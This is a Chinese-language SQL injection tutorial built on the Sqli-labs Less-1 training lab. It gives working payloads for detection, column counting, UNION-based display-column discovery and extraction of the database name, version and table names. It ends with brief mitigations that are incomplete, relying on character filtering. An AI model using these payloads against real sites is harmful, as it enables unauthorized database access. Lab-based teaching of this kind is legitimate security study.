1.漏洞产生原理

用户提交的数据没有被服务器进行检测和过滤,被数据库直接当作sql语句的一部分执行就造成了sql注入

2.如何查找sql注入呢?

一般是根据网站的功能点是否和数据库产生数据交互来判断的,如果产生了数据交互就可能存在sql注入.

3.靶场案例讲解

在这里给大家推荐:http://114.116.45.110/里面有各种靶场,不想自己搭建的小伙伴可以使用一下。

这里使用Sqli-labs靶场Less-1(第一关)讲解,Sqli-labs是一个帮你总结大部分SQL注入漏洞类型的靶场,学习SQL注入漏洞原理,复现SQL注入漏洞的必备靶场环境,给我整!

1.根据提示输入id为参数,所以我们输入?id=1

通过id数字值不同返回的内容也不同,所以我们输入的内容是带入到了数据库里面查询的。

id=1

id=2


2.存在注入点判断

加上单引号报错 :http://114.116.45.110/sqli-labs/Less-1/?id=1′


加上注释符页面正常:–+为注释符


3.根据上述结果确定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。

1.首先判断字段数(使用order by)

输入id=1′ order by 1,2,3–+ 页面显示正常,输入id=1′ order by 1,2,3,4–+页面显示报错,说明字段数为3

2.爆出显示位,就是看看表格里面那一列是在页面显示的。

输入id=-1′ union select 1,2,3–+,可以看到是第二列和第三列里面的数据是显示在页面的

4.接下来就是最重要的一步了,爆出数据库信息

将显示位替换成我们要查询的数据库信息函数,这里我们要查询数据库名称database()和数据库版本version().

所以输入id=-1' union select 1,database(),version()--+

就爆出了数据库名称:security 数据库版本:5.6.50-log

在输入id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+就可以查看security数据库下的所有表名

5.危害

未经授权的情况下操作数据库中的数据。攻击者通过构造不同的sql语句来实现对数据库的任意操作。

6.防护

控制用户的权限,禁止普通用户的数据库建立、删除、修改等权限。

对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤。

注:以上属于sql注入中的get类型字符型注入。手工注入是很少用到的,通常都是使用各种工具,使用Burp和Xray联动扫描出漏洞,然后根据漏洞详情使用sqlmap工具进行深入利用

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。